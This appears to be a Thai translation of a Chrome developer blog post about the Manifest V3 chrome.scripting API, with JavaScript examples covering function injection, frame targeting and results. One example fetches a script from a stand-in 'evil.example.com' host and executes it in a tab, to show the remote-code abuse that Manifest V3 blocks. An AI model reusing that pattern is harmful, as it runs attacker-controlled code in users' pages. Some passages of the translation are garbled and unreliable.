ขอแนะนำ chrome.scripting

Manifest V3 มีการเปลี่ยนแปลงหลายอย่างในแพลตฟอร์มส่วนขยายของ Chrome ในโพสต์นี้ เราจะมาศึกษาแรงจูงใจและการเปลี่ยนแปลงต่างๆ ที่เกิดขึ้นจากการเปลี่ยนแปลงเด่นๆ อย่าง การเปิดตัว API ของ chrome.scripting

chrome.scripting คืออะไร

chrome.scripting เป็นเนมสเปซแบบใหม่ที่เปิดตัวใน Manifest V3 ซึ่งชื่อดังกล่าวอาจบอกไว้ว่า รับผิดชอบความสามารถในการแทรกสคริปต์และสไตล์

นักพัฒนาซอฟต์แวร์ที่เคยสร้างส่วนขยาย Chrome มาก่อนอาจคุ้นเคยกับเมธอดไฟล์ Manifest V2 ใน Tabs API เช่น chrome.tabs.executeScript และ chrome.tabs.insertCSS วิธีการเหล่านี้ช่วยให้ส่วนขยายสามารถแทรกสคริปต์และ สไตล์ชีตลงในหน้าเว็บตามลำดับ ในไฟล์ Manifest V3 ความสามารถเหล่านี้ได้ย้ายไปยัง chrome.scripting และเราวางแผนที่จะขยาย API นี้พร้อมด้วยความสามารถใหม่ๆ ในอนาคต

ทำไมจึงต้องสร้าง API ใหม่

เมื่อมีการเปลี่ยนแปลงเช่นนี้ หนึ่งในคำถามแรกๆ ที่มีแนวโน้มจะเกิดขึ้นคือ "ทำไม"

ปัจจัยต่างๆ ที่ทำให้ทีม Chrome ตัดสินใจเปิดตัวเนมสเปซใหม่สำหรับการเขียนสคริปต์ ข้อแรก Tabs API เป็นตัวจัดการขยะสำหรับฟีเจอร์ต่างๆ ประการที่ 2 เราต้องทำให้ executeScript API ที่มีอยู่ ข้อ 3 เรารู้ว่าต้องการขยายการใช้สคริปต์ สำหรับส่วนขยายได้ ข้อกังวลเหล่านี้อธิบายอย่างชัดเจนถึงความจำเป็นที่ต้องมีเนมสเปซใหม่เพื่อ ความสามารถในการเขียนสคริปต์เฮาส์แอ็ด

ลิ้นชักขยะ

ปัญหาหนึ่งที่ทีมส่วนขยายกวนใจในช่วง 2-3 ปีที่ผ่านมาคือ chrome.tabs API ทำงานหนักเกินไป ตอนที่เปิดตัว API นี้เป็นครั้งแรก ความสามารถส่วนใหญ่ที่มี ที่ระบุนั้นเกี่ยวข้องกับแนวคิดทั่วไปของแท็บเบราว์เซอร์ แม้ว่าในตอนนั้น คุณลักษณะมากมาย และในช่วงหลายปีที่ผ่านมา คอลเล็กชันนี้ก็มีแต่เติบโตขึ้น

เมื่อมีการเปิดตัวไฟล์ Manifest V3 นั้น Tabs API ได้เติบโตขึ้นเพื่อให้ครอบคลุมการจัดการแท็บขั้นพื้นฐาน การจัดการการเลือก การจัดระเบียบหน้าต่าง การรับส่งข้อความ การควบคุมการซูม การนำทางพื้นฐาน การเขียนสคริปต์ และ อื่นๆ เล็กน้อย แม้ว่าสิ่งเหล่านี้ทั้งหมดมีความสำคัญ แต่ก็อาจมีบางส่วนที่ยุ่งยากสำหรับ นักพัฒนาซอฟต์แวร์เมื่อเริ่มเริ่มต้นใช้งาน และสำหรับทีม Chrome เมื่อเราดูแลรักษาแพลตฟอร์ม พิจารณาคำขอจากชุมชนนักพัฒนาซอฟต์แวร์

ปัจจัยที่ซับซ้อนอีกประการคือ ไม่เข้าใจสิทธิ์ tabs มากนัก ในขณะที่อีกหลายคน จะจำกัดการเข้าถึง API ที่กำหนด (เช่น storage) สิทธิ์นี้บางส่วน ผิดปกติตรงที่ให้สิทธิ์ส่วนขยายเข้าถึงพร็อพเพอร์ตี้ที่มีความละเอียดอ่อนในอินสแตนซ์ของแท็บเท่านั้น (และโดย มีผลต่อ Windows API ด้วย) นักพัฒนาส่วนขยายจำนวนมากเข้าใจผิดว่า พวกเขาต้องได้รับสิทธิ์นี้เพื่อเข้าถึงเมธอดใน Tabs API เช่น chrome.tabs.create หรือ ในภาษาเยอรมันมากขึ้น chrome.tabs.executeScript การย้ายฟังก์ชันออกจาก Tabs API จะช่วยล้างข้อมูล ของความสับสนนี้

การเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบ

เมื่อออกแบบ Manifest V3 ปัญหาสำคัญประการหนึ่งที่เราต้องการแก้ไขคือการละเมิดและมัลแวร์ เปิดใช้โดย "โค้ดที่โฮสต์จากระยะไกล" - โค้ดที่เรียกใช้ แต่ไม่ได้รวมอยู่ในส่วนขยาย ใหม่ เป็นเรื่องปกติที่ผู้เขียนส่วนขยายที่มีการละเมิดจะต้องเรียกใช้สคริปต์ที่ดึงมาจากเซิร์ฟเวอร์ระยะไกล ขโมยข้อมูลผู้ใช้ แทรกมัลแวร์ และหลบเลี่ยงการตรวจจับ แม้ว่าผู้แสดงดีก็ใช้ความสามารถนี้ได้เช่นกัน ท้ายที่สุดแล้วรู้สึกว่ามันอันตรายเกินกว่าที่จะเป็นเช่นนี้ต่อไป

ส่วนขยายสามารถใช้โค้ดที่ไม่ได้จัดกลุ่มได้ 2 วิธี แต่วิธีที่เกี่ยวข้องคือ ต่อไปนี้เป็นวิธีไฟล์ Manifest V2 chrome.tabs.executeScript วิธีนี้ทำให้ส่วนขยายสามารถ เรียกใช้สตริงโค้ดที่กำหนดเองในแท็บเป้าหมาย ซึ่งก็หมายความว่า นักพัฒนาซอฟต์แวร์ที่เป็นอันตราย สามารถดึงสคริปต์ที่กำหนดเองจากเซิร์ฟเวอร์ระยะไกล และดำเนินการภายในหน้าใดก็ได้ที่ส่วนขยายสามารถ สิทธิ์การเข้าถึง เรารู้ว่าหากต้องการแก้ปัญหาเกี่ยวกับรีโมตโค้ด

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

นอกจากนี้ เรายังต้องการแก้ปัญหาที่ละเอียดยิ่งขึ้นอื่นๆ ในการออกแบบเวอร์ชันไฟล์ Manifest V2 และ ทำให้ API เป็นเครื่องมือ ที่ผ่านการปรับแต่งและคาดการณ์ได้มากขึ้น

แม้ว่าเราจะสามารถเปลี่ยนลายเซ็นของเมธอดนี้ภายใน Tabs API ได้ แต่เราคิดว่าระหว่าง การเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบและการนำเสนอความสามารถใหม่ๆ (อธิบายอยู่ในส่วนถัดไป) Clean Break จะทำให้ทุกคนง่ายขึ้น

การขยายความสามารถในการเขียนสคริปต์

อีกการพิจารณาหนึ่งที่ใช้ในกระบวนการออกแบบไฟล์ Manifest V3 ก็คือความปรารถนาที่จะแนะนำ มีความสามารถเพิ่มเติมในการใช้สคริปต์ในแพลตฟอร์มส่วนขยายของ Chrome โดยเฉพาะอย่างยิ่ง เราต้องการเพิ่ม รองรับสคริปต์เนื้อหาแบบไดนามิกและขยายความสามารถของเมธอด executeScript

การรองรับสคริปต์เนื้อหาแบบไดนามิกเป็นคำขอฟีเจอร์ที่มีมาอย่างยาวนานใน Chromium วันนี้ ไฟล์ Manifest V2 และส่วนขยาย Chrome V3 สามารถประกาศแบบคงที่ได้เฉพาะสคริปต์เนื้อหาใน manifest.json ไฟล์; แพลตฟอร์มไม่มีวิธีให้ลงทะเบียนสคริปต์เนื้อหาใหม่ การลงทะเบียนสคริปต์เนื้อหา หรือยกเลิกการลงทะเบียนสคริปต์เนื้อหาในระหว่างรันไทม์

แม้ว่าเราจะทราบดีว่าเราจะต้องการจัดการคำขอฟีเจอร์นี้ในไฟล์ Manifest V3 แต่ทั้งหมดของเรา API ให้ความรู้สึกเหมือนบ้านหลังที่สอง เรายังได้พิจารณาให้มีความสอดคล้องกับ Firefox ในเรื่องสคริปต์เนื้อหา API แต่ในระยะแรก เราพบข้อด้อยสำคัญ 2 ประการในการใช้วิธีนี้ ก่อนอื่น เราทราบว่าเราอาจใช้ลายเซ็นที่เข้ากันไม่ได้ (เช่น การเลิกรองรับ code ) ประการที่ 2 API ของเรามีชุดข้อจำกัดในการออกแบบที่ต่างออกไป (เช่น ต้องมีการลงทะเบียนเพื่อ คงอยู่เกินอายุการใช้งานของ Service Worker) สุดท้ายนี้ Namespace นี้ยังทำให้เราต้อง ฟังก์ชันสคริปต์เนื้อหาที่เรากำลังพิจารณาเรื่องการใช้สคริปต์ในส่วนขยายที่กว้างขึ้น

ในexecuteScriptด้านหน้า เรายังต้องการขยายความสามารถของ API นี้ให้มากกว่าแค่การทำงานของแท็บ เวอร์ชัน API ที่รองรับ กล่าวอย่างเจาะจงก็คือ เราต้องการสนับสนุนฟังก์ชันและอาร์กิวเมนต์ กำหนดเป้าหมายเฟรมที่เจาะจง และกำหนดเป้าหมายที่ไม่ใช่ "Tab" บริบทเหล่านี้

นับจากนี้ไป เรายังพิจารณาถึงวิธีที่ส่วนขยายจะโต้ตอบกับ PWA ที่ติดตั้งไว้และ บริบทที่ไม่ได้เชื่อมโยงแนวคิดกับ "แท็บ"

การเปลี่ยนแปลงระหว่าง Tab.executeScript และ Scripting.exeเสร็จสิ้นScript

ในส่วนที่เหลือของโพสต์นี้ เราจะอธิบายความคล้ายคลึงและความแตกต่างอย่างละเอียด ระหว่าง chrome.tabs.executeScript ถึง chrome.scripting.executeScript

การแทรกฟังก์ชันที่มีอาร์กิวเมนต์

ขณะที่พิจารณาว่าแพลตฟอร์มจะต้องมีการพัฒนาอย่างไรในแง่ของโค้ดที่โฮสต์จากระยะไกล เราต้องการหาสมดุลระหว่างอำนาจดิบของการดำเนินการโค้ดที่กำหนดเอง ที่อนุญาตสคริปต์เนื้อหาแบบคงที่ โซลูชันของเราคืออนุญาตให้ส่วนขยายแทรก เป็นสคริปต์เนื้อหา และส่งผ่านอาร์เรย์ของค่าเป็นอาร์กิวเมนต์

เรามาดูตัวอย่างคร่าวๆ กัน (คำกล่าวเกินจริง) สมมติว่าเราต้องการแทรกสคริปต์ที่ ทักทายผู้ใช้ด้วยชื่อเมื่อผู้ใช้คลิกปุ่มการทำงานของส่วนขยาย (ไอคอนในแถบเครื่องมือ) ในไฟล์ Manifest V2 เราสามารถสร้างสตริงโค้ดแบบไดนามิกและเรียกใช้สคริปต์นั้นใน

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

แม้ว่าส่วนขยายที่ใช้ไฟล์ Manifest V3 จะใช้โค้ดที่ไม่ได้มาพร้อมกับส่วนขยายไม่ได้ แต่เป้าหมายของเราคือการ รักษาไดนามิกที่โค้ดบล็อกที่เปิดใช้สำหรับส่วนขยาย Manifest V2 ทำงานบางอย่าง ฟังก์ชันและอาร์กิวเมนต์ทำให้ ผู้ตรวจทาน Chrome เว็บสโตร์ ผู้ใช้ และ เพื่อให้ผู้ที่สนใจสามารถประเมินความเสี่ยงของส่วนขยายได้แม่นยำขึ้น ในขณะเดียวกันก็ช่วยให้ เพื่อแก้ไขพฤติกรรมรันไทม์ของส่วนขยายตามการตั้งค่าของผู้ใช้หรือสถานะของแอปพลิเคชัน

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

เฟรมการกำหนดเป้าหมาย

นอกจากนี้ เรายังต้องการปรับปรุงวิธีที่นักพัฒนาแอปโต้ตอบกับเฟรมใน API ที่แก้ไขแล้วด้วย ไฟล์ Manifest V2 executeScript ช่วยให้นักพัฒนาซอฟต์แวร์สามารถกำหนดเป้าหมายเฟรมทั้งหมดในแท็บ ในแท็บ คุณใช้ chrome.webNavigation.getAllFrames เพื่อดูรายการเฟรมทั้งหมดใน แท็บ

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

ในไฟล์ Manifest V3 เราได้แทนที่พร็อพเพอร์ตี้จำนวนเต็ม frameId ที่ไม่บังคับในออบเจ็กต์ตัวเลือกด้วยแอตทริบิวต์ อาร์เรย์ frameIds ที่ไม่บังคับ ซึ่งทำให้นักพัฒนาซอฟต์แวร์กำหนดเป้าหมายหลายเฟรมใน การเรียก API

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

ผลลัพธ์การแทรกสคริปต์

นอกจากนี้เรายังปรับปรุงวิธีการส่งคืนผลลัพธ์การแทรกสคริปต์ในไฟล์ Manifest V3 อีกด้วย "ผลลัพธ์" เท่ากับ หลักการสุดท้ายก็คือการประเมินในสคริปต์ เปรียบได้กับมูลค่าที่ส่งคืนเมื่อคุณ เรียกใช้ eval() หรือเรียกใช้บล็อกโค้ดในคอนโซลเครื่องมือสำหรับนักพัฒนาเว็บใน Chrome แต่มีการเรียงลำดับเพื่อ ให้ผลลัพธ์ในทุกกระบวนการ

ในไฟล์ Manifest V2 นั้น executeScript และ insertCSS จะแสดงผลอาร์เรย์ของผลลัพธ์ของการดำเนินการธรรมดา วิธีนี้ใช้ได้หากคุณมีจุดแทรกเดียว แต่ไม่ได้รับประกันลำดับผลลัพธ์เมื่อ มีการแทรกลงในหลายเฟรม จึงไม่มีวิธีที่จะบอกว่าผลลัพธ์ใดเชื่อมโยงกับเฟรมใด เฟรม

สำหรับตัวอย่างที่เห็นได้ชัดเจน ลองดูอาร์เรย์ results ที่แสดงผลโดยไฟล์ Manifest V2 และ ไฟล์ Manifest V3 ของส่วนขยายเดียวกัน ส่วนขยายทั้ง 2 เวอร์ชันจะแทรกองค์ประกอบเดียวกัน สคริปต์เนื้อหา และเราจะเปรียบเทียบผลลัพธ์บนหน้าสาธิตเดียวกัน

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

เมื่อเรียกใช้ไฟล์ Manifest V2 เราจะแสดงผลอาร์เรย์ของ [1, 0, 5] ผลลัพธ์ที่สอดคล้องกับ เฟรมหลักและใช้กับ iframe ได้อย่างไร ค่าที่ส่งคืนไม่ได้บอกอะไร เราจึงไม่ทราบ แน่นอน

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

ในเวอร์ชันไฟล์ Manifest V3 ตอนนี้ results มีอาร์เรย์ของออบเจ็กต์ผลลัพธ์แทนอาร์เรย์ของ เฉพาะผลการประเมิน และออบเจ็กต์ผลลัพธ์จะระบุรหัสของเฟรมสำหรับ ผลลัพธ์ ซึ่งช่วยให้นักพัฒนาซอฟต์แวร์ใช้ผลลัพธ์และดำเนินการเกี่ยวกับ เฟรม

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

สรุป

การยกตัวขึ้นของเวอร์ชันไฟล์ Manifest เป็นโอกาสที่หายากในการทบทวนและปรับเปลี่ยน API ส่วนขยายให้ทันสมัย เป้าหมายของเรา ด้วย Manifest V3 คือการปรับปรุงประสบการณ์ของผู้ใช้ปลายทางโดยการทำให้ส่วนขยายปลอดภัยยิ่งขึ้น เพื่อปรับปรุงประสบการณ์ ของนักพัฒนาซอฟต์แวร์ การเปิดตัว chrome.scripting ในไฟล์ Manifest V3 ช่วยให้เรา ช่วยทำความสะอาด Tabs API, ปรับโฉม executeScript ให้เป็นแพลตฟอร์มส่วนขยายที่ปลอดภัยกว่าเดิม และเป็นรากฐานสำหรับความสามารถในการเขียนสคริปต์แบบใหม่ที่จะมีขึ้นภายในปีนี้